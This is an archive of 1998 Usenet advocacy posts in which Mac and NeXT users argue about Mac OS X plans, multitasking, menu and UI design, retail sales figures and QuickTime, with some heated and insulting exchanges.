Message-ID: <6pi0rh$oa4$1@nnrp02.primenet.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com>
Ed Deans. <eadeans@san.rr.com> wrote:
: However, there seem to be holes in Apple's Mac OS X strategy and many of the
: above challenges still exist (and some are getting worse in the PC world,
: especially). iMac (with no floppy, use of USB, etc.) and going G3-only for
: Mac OS X seems to be addressing the legacy hardware issue.
I am very impatient when it comes to technology. I want my next
generation software yesterday. For me, MacOS X is too far off to even
worry about. I don't see a reason to concentrate on an OS promised for
delivery a year from now, not when there are so many interesting things
going on in other areas.
Having said that, I realize that I am a minority in the marketplace. For
the general market Apple may have a good (if slow for me) plan. If Apple
can keep a healthy balance sheet for the time it takes them to develop and
then roll out MacOS X, they may do all right.
The interesting thing is that Microsoft is not (to my knowledge)
developing any next generation OSes. Win9x and WinNT are it for a while.
They may add a few million lines of code to each release, but I'm not sure
that strategy can be effective for more than ~5 years.
So, if MacOS X is really done right it might actually hit the market at a
time when a "new" OS will have appeal.
I'd say that the fact that Be and Linux might be hitting the mainstream
market at the same time is good for Apple. Better to have a market that
accepts "alternatives", and is split 40% - 30% - 20% than the current 95%
- 5%.
John
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: Sun, 26 Jul 1998 19:33:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca>
In article <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca>, Nicolas Krinis
<ndk@NOSPAMnbnet.nb.ca> wrote:
> > If you like the idea of decreased software to buy in retail stores and
> > a completely different OS, and no "real" multitasking get a Mac. Of
> > course the Mac advocates claim lower TCO and greater ease of use, true
> > or not thats what I hear from them.
>
> The cluephone is a-ringing and guess what? It's for you.
> Macs do have multitasking. I have two monitors in mine and run at least
> two applications simultaneously without any problem whatsoever.
> Plenty of software for the Mac, despite what is apparent.
Oh please no need to be so fricking rude. I personally am not sure if I
agree with him about no "real" multitasking, and dont care to think about
it since rhapsody and macos x will remedy this situation. But I can
understand his point. Their are various circumstances where you simply
cant run two apps at the same time. And I dont mean you CAN run two apps
at the same time and they dont do it well, I mean you simply cant run two
apps at the same time. Lets take a os that I DO consider to have "real"
pmt, openstep/rhapsody.
I have installed software many times on openstep. Ya know what? You can
do other things while software is installing! Yes, amazing. Burn a cd
with toast, cant run any other apps at the same time. Hey Next people,
does openstep totally freeze up and disallow any other apps from running
when you burn a cd in openstep?
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: 27 Jul 1998 03:23:21 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pgrr9$81b$1@lwnws01.ne.highway1.com>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca> <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net>
Macghod@concentric.net (Steve Sullivan) wrote:
> I have installed software many times on openstep. Ya know what? You can
> do other things while software is installing! Yes, amazing. Burn a cd
> with toast, cant run any other apps at the same time. Hey Next people,
> does openstep totally freeze up and disallow any other apps from running
> when you burn a cd in openstep?
Ostensibly you can, but in practice the answer is no. If you run any really
heavy process into hogging a lot of system resources, I believe you will
force a data underrun. This may be the kind of thing that could be helped
with real-time scheduling (then again, maybe not).
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 00:24:04 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BC0EF4.D2D0F1C8@nstar.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com>
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John Kheit wrote:
> I suggest they act sensibly. That means not limiting their desktop/laptop
> machines to the LCD of a palmtop/PDA UI. I've offered ideas on UI and other
> topics on numerous occassions. I'm sure the majority, if not in total, have
> been cheezy, stupid or lame. This may well be a similar suggestion. Beyond
> that, I don't feel the need to give out advice for free--especially when I'm
> pretty certain it will not be listened to and do no good except to cause me
> grief.
So what does His Highness think OS vendors should do? Create a different
UI for every different screen size on the planet? You've as much as
admitted that the NeXT UI wouldn't be appropriate for screens smaller
than the original MegaPixel. Your dream UI must be one that switches
every time one buys a new monitor, or even when you change the
resolution on your monitor.
What's appropriate is what's omni-capable. Your sophomoric comments
about the inadequacy of the MacOS in large monitor sizes undoubtedly
stems from rarely having used the UI on large monitors. It's not like
we're shooting for autistic adults who can't manage to double-click on a
32x32 icon at high resolutions. At 1600x1200 a MacOS icon is no smaller
than a Newton icon, so I don't begin to comprehend your argument with
it. Maybe you'd prefer a super-dooper Easy Access interface for all of
us to use so that we can go into sugar-shock while we're ogling the 3D
bevels and clicking on huge screen-wasting 32-bit color icons. But Easy
Access wouldn't do, because you can actually make the background purple
and that would be just unacceptable.
I've got it. How about a "click here" feature that just colorizes your
next action and makes the rest of the screen gray? That way you wouldn't
have to actually think when you're using the computer; you could just
click-click-click-click-click-click-click all the way to the computing
heaven by following the yellow brick road.
MJP
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 26 Jul 1998 22:14:32 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607982214330001@sdn-ar-001casbarp302.dialsprint.net>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43>
In article <B1E14963-127A3@206.165.43.43>, "Lawson English"
<english@primenet.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
> >In comp.sys.next.advocacy Howard S Shubs <hshubs@mindspring.com> wrote:
> >> In article <B1E0E952-3F0D5@206.165.43.124>, "Lawson English"
> >> <english@primenet.com> wrote:
> >
> >> >I still don't see how it was obtained. Apple only sells through CompUSA
> >and
> >> >independent Mac-only stores. This 9.4% figure implies that sales were
> >SOOOO
> >> >brisk for Macs these past few months through these limited outlets that
> >> >nearly 1/10 of all sales for computers through retailers were through
> >these
> >> >select few stores. Something is bogus about the figure.
> >
> >> And Fry's, Micro Center, and others.
> >
> >
> >And don't forget that Dell, a biggy, doesn't sell through retail
> >much, if at all. Gateway does some retail sales, but not much.
>
> A couple of points:
>
> 1) Apple ONLY sells through CompUSA and Mac-only stores, last I heard. Frys
> no longer carries Macs unless things have changed drastically.
Nope, Frys definitely sells macs. I always look at the frys ads in the LA
times and I frequently see g3's advertised.
> 2) The comparison was for retail sales. Given that Apple only sells through
> CompUSA and Mac-only stores (how do they add up the figures for the
> Mac-only stores, BTW?), the comparison is for those companies that sell
> through retail outlets.
>
> The claim is that Apple now has nearly 10% of that market.
The biggest reason it doesnt make sense is those crack heads at macorumors
totally boggled the story.
Plus, retail is getting more irrelevant. I would conjecture that SOON the
majority of Apple's sales will be from the apple store, which isnt part of
retail. Dell, and Gateway sell a large percentage of total pc's sold, and
their presence in the retail market is minimal.
I wonder if the study botched things and included sales from
store.apple.com in the figures, which would be incorrect. But I would
need to see if the study gave the details, and not conjecture
Date: Mon, 27 Jul 1998 10:35:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2707981035100001@wil51.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com>
In article <6ph9u7$fp5$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2507980855240001@pm3a23.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > OK...name a situation where the Macs multitasking is worse than Windows 95.
>
> While an application is launching under the MacOS, no other application can be
> scheduled.
True. But not much of an issue.
My normal morning routine is to start my Mac, launch PPP, then open Eudora
and MSIE. To do so, I open PPP, then click on "connect". I then launch
Eudora. As soon as it launches, I launch MSIE. By that time, the PPP
connection is completed. Total elapsed time? Perhaps 15 seconds.
Not much of an issue.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: swhite@medicine.bsd.uchicago.edu (Steve White)
Subject: Re: Not a troll, please explain
Message-ID: <swhite-2707980932550001@pulm-mac2.bsd.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu> <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net>
Date: Mon, 27 Jul 1998 14:32:55 GMT
In article <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> > It might actually help if you read what was written.
>
> What reason is their for you to be such a jerk?
Listen, ya hairy-palmed troll, your repeated comments to
comp.sys.mac.advocacy demonstrate your mental illness sufficiently well.
If you don't know the facts, as in what PC Data measures, then stop
spouting off until you do. Otherwise you run the risk (a big one in your
case) of looking like a fool.
steve
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 09:53:39 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BC9473.A18302A8@nstar.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net>
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NNTP-Posting-Date: 27 Jul 1998 15:03:48 GMT
Joe Ragosta wrote:
> True. But not much of an issue.
>
> My normal morning routine is to start my Mac, launch PPP, then open Eudora
> and MSIE. To do so, I open PPP, then click on "connect". I then launch
> Eudora. As soon as it launches, I launch MSIE. By that time, the PPP
> connection is completed. Total elapsed time? Perhaps 15 seconds.
>
> Not much of an issue.
It isn't as long as you use almost no apps. My normal morning routine on
a Unix workstation of any kind is to log in and start working. With
xtoolwait managing the queue, just over 20 apps will have been launched
5 minutes later. Yes, I use all of them; it takes this long because many
of them load over NFS. Total wait on a Macintosh might even be longer,
since there's no way that I know of to schedule processes in userspace
the way toolwait does. Meanwhile, I've been productive the last five
minutes. If your Mac were present in my environment, it would be painful
to use.
This is just one part of it, too. MacOS tends to focus on monolithic
processes like the Finder because it has almost no process management
whatsoever. Imagine having to wait for 10 different pieces of the
desktop to fire up. In many ways, you actually have to do that with any
Extensions you have installed, anyway, but that's just the sorrier
because once loaded, they hang around in memory permanently.
What you have learned to deal with as a user is affecting you and many
other users of the MacOS in ways you probably aren't aware of. It's not
a matter of what's broken, it's a matter of how much better the job
could be done if the potential were available. Any reasonable operating
system these days *needs* a kernel, one that can pre-emptively multitask
and handle virtual memory intelligently. It just doesn't make sense to
have something like MacOS churning under the weight of modern computing
tasks.
MJP
Totally unrelated: can Fetch be scripted? If not, is there another FTP
client for MacOS that can be scripted?
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 09:56:30 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BC951E.4608D7E0@nstar.net>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net>
Mime-Version: 1.0
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NNTP-Posting-Date: 27 Jul 1998 15:06:36 GMT
Richard Frith-Macdonald wrote:
> Yeah - but that's just saying 'if I break something it doesn't work'.
> The NeXT way would work fine for a horizontal menu bar that had consistent
> indicators for when a menu item generates a sub-menu.
>
> The problem is the inconsistency in the old MacOS menu system - and is easily
> solved by adding the appropriate indicators to the menu bar.
I don't understand, though. This is only necessary if you assume that
top-level menus can be buttons instead of menus, isn't that right? The
MacOS menu bar assumes that every menu is actually a *menu*. I don't see
the inconsistency, but I could be totally misunderstanding your point.
MJP
From: gio+van+no+ni+8@tal+star+spam.com (Giovanni 8)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 27 Jul 1998 05:58:30 GMT
Organization: TalStar Communications
Message-ID: <gio+van+no+ni+8-2707980209220001@dialup86.tlh.talstar.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net>
Cache-Post-Path: flux!unknown@dialup86.tlh.talstar.com
> Joe Ragosta wrote:
> My point was that both Apple and Microsoft have to obsolete
> old machines at some point.
I just wish it weren't so blasted quickly.
I'm the kind of guy who buys a new car... and keeps it for
15+ years. My Mac's pre-Power. What I'd really like to
see in this regard is a nice, gradual, up-grade path, say
a new mother-board every couple years for $300 or so.
"In the last few months, more than 150K jobs have been
cut by technology companies & the unemployment rate for
electrical engineers has nearly tripled." --- John R. Reinert
of IEEE 1998-07-24
"US technology companies say they have close to 350K jobs
that cannot be filled because there are not enough qualified
applicants." --- Glenn Gamboa & Melanie Payne "Knight-Ridder
News Papers" (reprinted in 1998-05-27 "US Feels Effects as
Females Shun Science, Math, High Tech Careers" _FSView_
vol 7 #14 pg 1)
--
copyright 1998 by g8 (exclusive of others' writing)
all rights reserved except that license is given freely
to respond on usenet. other licenses are available at
reasonable rates.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
<mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
<id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
<joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net>
<6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news>
<6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net>
Message-ID: <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com>
Date: Mon, 27 Jul 1998 06:23:58 GMT
NNTP-Posting-Date: Sun, 26 Jul 1998 23:23:58 PDT
Organization: @Home Network
In <35BC0EF4.D2D0F1C8@nstar.net> Michael Peck wrote:
> John Kheit wrote:
>
> > I suggest they act sensibly. That means not limiting their
desktop/laptop
> > machines to the LCD of a palmtop/PDA UI. I've offered ideas on UI and
other
> > topics on numerous occassions. I'm sure the majority, if not in total,
have
> > been cheezy, stupid or lame. This may well be a similar suggestion.
Beyond
> > that, I don't feel the need to give out advice for free--especially when
I'm
> > pretty certain it will not be listened to and do no good except to cause
me
> > grief.
>
> So what does His Highness think OS vendors should do? Create a different
> UI for every different screen size on the planet? You've as much as
> admitted that the NeXT UI wouldn't be appropriate for screens smaller
> than the original MegaPixel. Your dream UI must be one that switches
> every time one buys a new monitor, or even when you change the
> resolution on your monitor.
>
> What's appropriate is what's omni-capable. Your sophomoric comments
> about the inadequacy of the MacOS in large monitor sizes undoubtedly
> stems from rarely having used the UI on large monitors. It's not like
> we're shooting for autistic adults who can't manage to double-click on a
> 32x32 icon at high resolutions. At 1600x1200 a MacOS icon is no smaller
> than a Newton icon, so I don't begin to comprehend your argument with
> it. Maybe you'd prefer a super-dooper Easy Access interface for all of
> us to use so that we can go into sugar-shock while we're ogling the 3D
> bevels and clicking on huge screen-wasting 32-bit color icons. But Easy
> Access wouldn't do, because you can actually make the background purple
> and that would be just unacceptable.
>
> I've got it. How about a "click here" feature that just colorizes your
> next action and makes the rest of the screen gray? That way you wouldn't
> have to actually think when you're using the computer; you could just
> click-click-click-click-click-click-click all the way to the computing
> heaven by following the yellow brick road.
>
>
This is too clever and too cute ± whimsical :-) But I fail to see the problem
with scaling the Mac UI up or down. Mac users on BIG monitors get on with it
- no probs. I don't like the Mac UI. I prefer the NeXT UI for productivity
reasons, but it scales down like a pig for handhelds. The UI debate is a
DEAD HORSE.
Take a look a Psion's Series 5 machine. Basically, a Mac UI bastardized with
Windows key equivalents. But it scales down nicely to a handheld and would
scale up equally as a Mac. The Series 5 EPOCH32 OS is running on mobile
phones, already.
I'll be surprised if Apple can "fix" the Mac UI to "satisfy" ex-NeXT
tag-a-longs like John and myself. Ten years experience is hard to unlearn
for a "Back to the Future" Macintosh environment. I'm willing to give it an
honest try... but without a NeXT UI in my future, my third choice is
server-side Web computing. Ubiquity of access, server-side, nullifies Ease
of access, client-side. So it's a Dead Horse debate IMHO.
The network is my computer, and move to such services as email@yahoo.com,
dejanews.com, checkfree.com, wellsfargo.com, etc... These services provide
80% of computing needs.
Apple's faced with much different topography, differentiation and consumer
than just one year ago...
-r
Rex Riley
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 27 Jul 1998 15:06:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pi511$5qr@newsb.netnews.att.com>
References: <MPG.1024135494d5483f989a00@news.supernews.com> <B1E0E952-3F0D5@206.165.43.124> <6pgppi$20t@newsb.netnews.att.com> <macman-2707980013540001@d185d1c66.rochester.rr.com>
Originator: gupta@tlctest
Stephen Rea <macman@rochester.rr.com> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>>I agree. PC Data itself, in 1995, said that Windows 95 sold 900,000 copies
>>in the first four days.( Microsoft had made an announcement of 1 million sold
>>in the first four days, back then.) This year, when Windows 98 sold
>>530,000 copies in the first four days, according to PC Data,
>
>Is that "sold" or "shipped to stores"??
>
>I remember shelves and shelves of Windows 95 that never sold.
"Sold". The numbers of "returned from stores" were also available,
as far as I can remember, in other news stories.
-arun gupta
Date: Mon, 27 Jul 1998 11:14:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2707981114320001@wil47.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BC9473.A18302A8@nstar.net>
In article <35BC9473.A18302A8@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > True. But not much of an issue.
> >
> > My normal morning routine is to start my Mac, launch PPP, then open Eudora
> > and MSIE. To do so, I open PPP, then click on "connect". I then launch
> > Eudora. As soon as it launches, I launch MSIE. By that time, the PPP
> > connection is completed. Total elapsed time? Perhaps 15 seconds.
> >
> > Not much of an issue.
>
> It isn't as long as you use almost no apps. My normal morning routine on
> a Unix workstation of any kind is to log in and start working. With
> xtoolwait managing the queue, just over 20 apps will have been launched
> 5 minutes later. Yes, I use all of them; it takes this long because many
> of them load over NFS. Total wait on a Macintosh might even be longer,
> since there's no way that I know of to schedule processes in userspace
> the way toolwait does. Meanwhile, I've been productive the last five
> minutes. If your Mac were present in my environment, it would be painful
> to use.
5 minutes to load 20 apps? Seems like a long time.
But you can't make a direct comparison between Mac OS and Unix in this
way. On the Mac, it's easy to be very productive with a smaller number of
apps. Instead of 20 specialized apps, you use a smaller number of more
versatile apps.
But, if you insist, put an alias to the most commonly used apps into your
startup folder. Then, set your Mac to start up 20 minutes before you come
to work.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 15:22:03 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pi5ur$8pn$1@nnrp03.primenet.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
: The interesting thing is that Microsoft is not (to my knowledge)
: developing any next generation OSes. Win9x and WinNT are it for a while.
: They may add a few million lines of code to each release, but I'm not sure
: that strategy can be effective for more than ~5 years.
To answer myself with the flip side:
Microsoft and Intel are agressivly competing with themselves. They've
beaten the alternative platforms, and now have to replace their own
installed products to keep volume up.
It looks like the best target for them is 3d performance. Hardware and
software advancements should make next year's Wintel very fast. Perhaps
fast enough to make people with plain ol' PII 266s go and get one.
The danger for MacOS is that it seems to address last year's (or older)
complaints. PM, PMT, networking, yadda, yadda, yadda.
MacOS X will be selling against bloated Wintel systems ... but bloated
systems with killer 3d.
In my view, Apple has made this mistake with long lead-time projects
before. Things like OpenDoc sounded cool in the early announcements, but
when they finally arrived they were a) sub-optimal implementations and b)
no longer interesting. Component documents were still cool, but not as
cool as the web. Apple overshot the market. They could do it again.
John
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 10:24:16 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu>
References: <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net>
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Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <35BC951E.4608D7E0@nstar.net>
On Mon, 27 Jul 1998, Michael Peck wrote:
> Richard Frith-Macdonald wrote:
>
> > Yeah - but that's just saying 'if I break something it doesn't work'.
> > The NeXT way would work fine for a horizontal menu bar that had consistent
> > indicators for when a menu item generates a sub-menu.
> >
> > The problem is the inconsistency in the old MacOS menu system - and
> > is easily solved by adding the appropriate indicators to the menu bar.
>
> I don't understand, though. This is only necessary if you assume that
> top-level menus can be buttons instead of menus, isn't that right? The
> MacOS menu bar assumes that every menu is actually a *menu*. I don't see
> the inconsistency, but I could be totally misunderstanding your point.
When you bring up a submenu in the Mac OS, you have a list of menu choices
stacked on top of one another. Choices that bring up other submenus have
arrows pointing to the right to indicate that selecting that will do
nothing but bring up another submenu. At the top level of the Macintosh
menu bar, there is no indication of which choices will bring down
submenus. In the lower levels, there are indicators.
There is no need for the top level or even lower level menus to be
buttons. If there are to be non-submenu invoking choices at the root
level, then there should be some differentiation between those and the
others that do invoke submenus.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 27 Jul 1998 15:17:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pi5lq$5ue@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981 <6phbrl$ibc$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
In article <6phbrl$ibc$1@nnrp1.dejanews.com>, <quinlan@my-dejanews.com> wrote:
>
>In the Mac OS, I cannot switch applications while another applications is
>loading. In the Mac OS, writing to the null address causes a crash. These are
>two pieces of evidence.
Writing to the null address is rarely something that a MacOS user does.
I launch PPP, Netscape, Eudora Lite and NCSA telnet while the previous
is loading.
BTW, one of the shareware files I downloaded from the Internet for the
Windows 95 box here was somehow corrupted in transmission, and attempting
to run it reset the CMOS in the Compaq machine. Nice behavior, isn't it ?
-arun gupta
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: 27 Jul 1998 06:50:34 GMT
Organization: Simon Fraser University
Message-ID: <6ph7vq$gpe$1@morgoth.sfu.ca>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100>
nate <nhughes@sunflower.com> wrote:
>Why? Quicktime doesn't need to be displaced on Wintel because it is
>already wholly irrelevant. Tell me just why I or any PC user needs
>
>Quicktime file sizes are far too large for the amount of content the
>deliver and it still doesn't stream. It doesn't address realtime
>encoding and broadcasting nor will it likely ever. Quicktime is like
>everything else apple has--an also ran.
MPEG and RealVideo don't address video editing, so if all you care about
is watching MPEGs of various types, then fine. Some form of realtime
broadcasting in QuickTime was already demoed at WWDC. File sizes are
entirely dependent on the codec (and MPEG is one of them).
An interesting statistic from the month of March. QuickTime was the
single most commonly installed application on home PC's, after bundled
